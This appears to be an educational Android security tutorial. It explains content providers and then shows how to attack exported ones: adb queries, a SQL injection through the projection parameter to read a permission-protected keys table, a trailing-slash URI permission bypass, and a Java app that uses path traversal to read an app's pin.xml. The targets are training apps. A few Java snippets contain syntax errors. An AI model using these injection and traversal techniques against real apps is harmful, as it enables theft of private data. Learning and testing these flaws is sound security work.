# Content Provider

## 📌What is a content provider?

* An Android Content Provider is a fundamental component of the Android operating system that enables different applications to share **data** with each other.
* It acts as an interface that **allows one application to securely expose its data to other applications**, facilitating controlled and standardized access to the data.
* Content providers are **commonly used to manage structured data, such as databases, and consistently make that data available to other applications**.
*   **They enforce data security** and provide a structured way for apps to **CRUD** data.

    ```sql
    <provider
            android:name=".BookContentProvider"
            android:authorities="com.example.myapp.provider"
            android:exported="true"
            android:readPermission="com.example.myapp.READ_BOOKS"
            android:writePermission="com.example.myapp.WRITE_BOOKS"/>
    ```

### 📍Key features of Android Content Providers

1. **Data Sharing:** Content providers enable apps to share data without exposing the underlying database or implementation details.
2. **Data Isolation:** Content providers allow apps to define the level of access other apps have to their data. Access can be restricted to read-only, write-only, or both.
3. **URI-Based Access:** Data in a content provider is accessed using Uniform Resource Identifiers (URIs), which are similar to URLs and uniquely identify a resource within the content provider.
4. **CRUD Operations:** Content providers support basic CRUD (Create, Read, Update, Delete) operations for data management.
5. **Data Types:** Content providers can work with various types of data, including files, images, videos, and structured data stored in databases.
6. **Permission Control:** Apps that want to access data from a content provider must request the necessary permissions. This helps maintain security and control over data access.

### 📍Common use cases for content providers include

* **Contacts Data:** Android's built-in Contacts app uses a content provider to manage and share contact information.
* **Media Files:** Content providers are often used to manage media files like images, videos, and audio files, making them accessible to other apps.
* **SQLite Databases:** Apps often use content providers to expose their SQLite databases for querying and manipulation.

### 📍Content Resolver and Content Provider

* **Content Provider**: A content provider is created within the app that owns the database, allowing other apps to access this database.
* **Content Resolver**: Any app wanting to access the database must use a content resolver to interact with the content provider.
* The **Content Resolver** communicates with the **Content Provider** using specific methods.
* The **Content Resolver** includes methods you can use for database queries and transactions. These methods correspond to those provided by the content provider:
  * **`query()`**
  * **`insert()`**
  * **`delete()`**
  * **`update()`**

### 📍**Security and Access Control**

* _**Permissions**_: Implement permissions to control who can access the data.
* _**Exported vs. Non-Exported**_: Determined in the Android manifest, controlling external app access to the content provider.

## 📌How to access data?

* A **URI** is used to uniquely identify and access a specific resource within a content provider. It points to a particular data resource within an app's content provider.
*   Here's the breakdown of a Content Provider **URI**:

    ```
    content://authority/path
    ```

    * **content://**: This scheme indicates that you're using a Content Provider URI.
    * **authority**: This is the unique identifier for the content provider, usually the package name of the app that owns it.
    * **path**: This part of the URI specifies the path to the specific resource you want to access within the content provider.
* **Database Content Provider**:

<figure><img src="https://4027909796-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwb35XsfjdYzmAOhXx0Kp%2Fuploads%2FAb310GhKTGOwnPB72iZ1%2Fc6c06336%20d98c%204fbd%20b9dd%203ce80c8d42b4.png?alt=media" alt="" width="495"><figcaption><p>In this example, we have a contacts database, and we are selecting the second entry from it.</p></figcaption></figure>

## 📌How to access content providers?

### 📍Using adb shell

* The **Activity Manager (am)** has a content provider, but this is not typically the best method for hackers.
*   For example, to query this URI (**`content://com.android.contacts/1`**):

    ```css
    adb shell content query --uri content://com.android.contacts/1
    ```

### 📍Use your own app

* Using your application, you can define a **content resolver** to query data from other applications through their **content providers**.

<figure><img src="https://4027909796-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwb35XsfjdYzmAOhXx0Kp%2Fuploads%2F574US0eb7v2TYWF4EI2y%2Fimage.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* **How is this process done?**
  * In your app, the **content resolver** sends a request to the **content provider** to retrieve the data.
  * If you have the **necessary permissions** and the **provider** is **exported**, the other app's content provider will return a **cursor**, which is a pointer to the requested data.
  * Now, the content resolver can use the available methods (**`query`**, **`insert`**, **`update`**, **`delete`**) to interact with the database.
  * _**Note**_: When working with custom content providers, the associated databases are stored in the **`/data/data`** directory.
*   **Using a content resolver in your app to query data from another app:**

    ```java
    // Define the URI to the data you want to access
    Uri contentUri = Uri.parse("content://com.example.otherapp.provider/data");

    // Specify the columns you want to retrieve
    String[] projection = {"column_name_1", "column_name_2"};

    // Make the query using ContentResolver
    Cursor cursor = getContentResolver().query(contentUri, projection, null, null, null);

    if (cursor != null) {
        while (cursor.moveToNext()) {
            // Retrieve data from cursor
            String value1 = cursor.getString(cursor.getColumnIndex("column_name_1"));
            String value2 = cursor.getString(cursor.getColumnIndex("column_name_2"));
            // Do something with the data
        }
        cursor.close();
    }
    ```

In the code above, the parameters are transformed into this SQL query:

```sql
select column_name_1,column_name_2 from "content://com.example.otherapp.provider/data"
```

* The **`query`** method parameters (**`query(contentUri, projection, null, null, null)`**) are ultimately transformed into a single SQL query, as shown below.

<figure><img src="https://4027909796-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwb35XsfjdYzmAOhXx0Kp%2Fuploads%2FnesfGkoGadV3rSBzSTkx%2Fimage%201.png?alt=media" alt=""><figcaption></figcaption></figure>

**`selection`**, **`selectionArgs`**, and **`sortOrder`** are optional filters for more complex queries. Here, they are **`null`**, meaning no additional filters are applied.

***

## 📌Hacking Content Provider

* _**Testing**_
  1.  Check **`AndroidManifest.xml`** for **`android:exported="true"`**.

      ```java
      <provider android:exported="true" android:name=".MyContentProvider" />
      ```
  2. **Analyze Methods in Java Code:**
     * You need to inspect how the Content Provider implements:
       * `query`, `insert`, `update`, and `delete` for proper input sanitization.
       * These methods often take user input (`where`, `selectionArgs`) and build SQL queries.
     * Check file-handling methods like **`openFile()`** for unvalidated URIs.
  3. **Identify Table Names**
     * Search for **`content://`** references in code to locate tables exposed via the Content Provider.
     *   When you find something like:

         ```java
         content://com.example.app.provider/secrettable
         ```
     * You can then try to query it.
  4. **Inspect URI handling logic for traversal issues.**
     * If the app poorly validates the `Uri` objects passed into `openFile()`, or `query()`, then you could:
       * Read arbitrary files
       * Access data you shouldn’t
  5. **Use this command (`adb shell content query --uri URI`)** to display rows of data from the content provider's **database** that are accessible via the given URI.
  6. If it works without permission errors ➔ **Vulnerable**!

### <mark style="color:red;">Hacking content providers using SQLI</mark>

### 📍Using adb shell

* ADB allows you to interact directly with content providers through the **`content`** command, which can be used to perform **CRUD** operations.
*   In this example, we’re accessing data from the **`key`** table, which is protected by custom user permission.

    ```css
    query{
    **Uri**,          content://com.example.app/keys
    **projection**,   **payload**
    selection     null
    }

    //***Our SQL Syntax will be:***	
    											SELECT **projection** FROM **Uri;**
    ```
* So how can we circumvent this custom user permission using SQL Injection?
*   Let's imagine we have another table called **`"Passwords"`** that doesn't require permissions. We could manipulate the query by modifying the projection, moving it to the end, and **commenting** out the rest. This might look like:

    ```css
    query{
    Uri,          content://com.example.app/Passwords
    projection,   "* FROM Key--"
    selection     null
    }

    //Our SQL Syntax will be:		
    	SELECT * FROM key;-- FROM Passwords;
    ```
* **The commands would be:**
  * **`adb shell`**
  * **`content query --uri content://com.example.app/Passwords --projection "* FROM Key--"`**

> **When attempting SQLI, the injected syntax must align with SQL rules. This means the injection needs to fit within the context of the original query structure to avoid errors.**

> **This attack relies on having partial access to the database. However, most developers restrict direct access to the database entirely, reducing the risk.**

### 📍Use your own app

*   Using your own application, you can define a **content resolver** to query data from other applications through their **content providers**.

    ```java
    Uri contentUri = Uri.parse("content://com.example.otherapp.provider/data");
    Cursor queryCursor = getContentResolver().query(contentUri, null, null, null, null);

    System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));
    ```
* If your app targets Android 11 (API level 30) or higher, this code may return `null`. Why?
  * Because you need to make your application visible to the target application.
  *   To solve this, use the `<queries>` element in the `AndroidManifest.xml` file:

      ```java
      <queries>
              <package android:name="com.example.sieve" />
      </queries>
      ```
  * [_**Learn more**_](https://developer.android.com/training/package-visibility)

📌**If there are custom permissions, how can we bypass them**_**?**_

```xml
<permission android:label="Allows reading of the Key in Sieve" android:name="com.mwr.example.sieve.READ_KEYS" android:protectionLevel="dangerous"/>
<permission android:label="Allows editing of the Key in Sieve" android:name="com.mwr.example.sieve.WRITE_KEYS" android:protectionLevel="dangerous"/>
```

* **First attempt:**
  *   Simply adding **`////`** at the end of our content URI may bypass the restriction because of the missing regex validation for the path:

      ```java
      Uri contentUri = Uri.parse("content://com.example.otherapp.provider/keys/");
      Cursor queryCursor = getContentResolver().query(contentUri, null, null, null, null);

      System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));
      ```
* **Second attempt (SQLI):**
  * **Steps**
    * We need to query the Passwords table to insert our own SQL statement.
    * The SQL statement will be injected via the projection parameter.
    * The SQL syntax looks like **`SELECT * FROM passwords WHERE....`**
    * Projection ⇒ **`SELECT * FROM key--; FROM Passwords WHERE....`**
  *   **Code**

      ```java
      Uri contentUri = Uri.parse("content://com.example.otherapp.provider/Passwords");
      String[] projection = new String[] ("* FROM Key--;");
      Cursor queryCursor = getContentResolver().query(contentUri, projection, null, null, null);

      System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));
      ```
* **Third attempt:**
  * Access the protected table (Key) using the permissions declared in the **`AndroidManifest.xml`** file.
  * _**Steps**_
    * Define the permissions in our **`AndroidManifest.xml`** file.
    * Request these permissions during runtime.
  * _**Code**_
    *   In the `AndroidManifest.xml` file:

        ```java
        <uses-permission android:name="com.mwr.example.sieve.READ_KEYS" android:protectionLevel="dangerous"/>
        <uses-permission android:label="@string/name" android:name="com.mwr.example.sieve.WRITE_KEYS" android:protectionLevel="dangerous"/>
        ```
    *   In **`MainActivity.java`**:

        ```java
        String[] permission = new String[] ("perm_name");
        ActivityCompat.requestPermissions(activity: this, permission, requestCode: 9001)
        Uri contentUri = Uri.parse("content://com.example.otherapp.provider/Keys");
        String[] projection = new String[] ("*");
        Cursor queryCursor = getContentResolver().query(contentUri, projection, null, null, null);

        System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));
        ```

***

### <mark style="color:red;">Hacking content providers using Path Traversal</mark>

As you know, content providers don’t only work with databases—they can also handle different types of files.

* **Steps to Identify:**
  1. **Check Exported Providers**: Ensure the Content Provider is exported.
  2. **`ParcelFileDescriptor` and `openFile` Method**: When a content provider uses `ParcelFileDescriptor` to open files (typically in the `openFile` method), ensure that the URI input is validated.
  3. Unfiltered URI
  4. Then you've got path traversal vulnerability

📌**An Example**:

We have a music app with an **exported** content provider in this example.

If we use our own app's **content** **resolver** to request an **`mp3`** file, the music file will play, as shown below:

<figure><img src="https://4027909796-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwb35XsfjdYzmAOhXx0Kp%2Fuploads%2FHHs3hMW6i2wJMgbTv6Dt%2FUntitled.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

This might seem nice, right?

But what if we could somehow request access to a critical internal file? Would that still be safe?

For instance, if we query the URI for the file `pin.xml` by stepping back in the directory path (using `../`) and adding the path of the file (`../../../../../shared_prefs/pin.xml`), the app's content provider might return the content of this critical file.

<figure><img src="https://4027909796-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwb35XsfjdYzmAOhXx0Kp%2Fuploads%2FPr5lGnjvfHjVssMhWUfl%2FUntitled%201.png?alt=media" alt=""><figcaption></figcaption></figure>

### 📍Use your own app

```java
public class MainActivity extends AppCompatActivity {

    InputStream inputStream;
    TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        textView = (TextView) findViewById(R.id.textView);

        Uri uri = Uri.parse("content://com.apphacking.musicplayer/../../../../../../../data/data/com.apphacking.musicplayer/shared_prefs/pin.xml");

        try {
            inputStream = getContentResolver().openInputStream(uri);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }

        InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
        BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
        String fileInput = "";

        try {

            while (bufferedReader.ready()) {
                fileInput += bufferedReader.readLine();
                fileInput += "\n";
            }

        } catch (IOException e) {
                e.printStackTrace();
            }

        textView.setText("Accessing mySecretFile: \n" + fileInput);

    }
}
```

💡**If the content provider is&#x20;**_**not exported**_**, this entire approach becomes ineffective because you won’t be able to interact with it at all.**

***
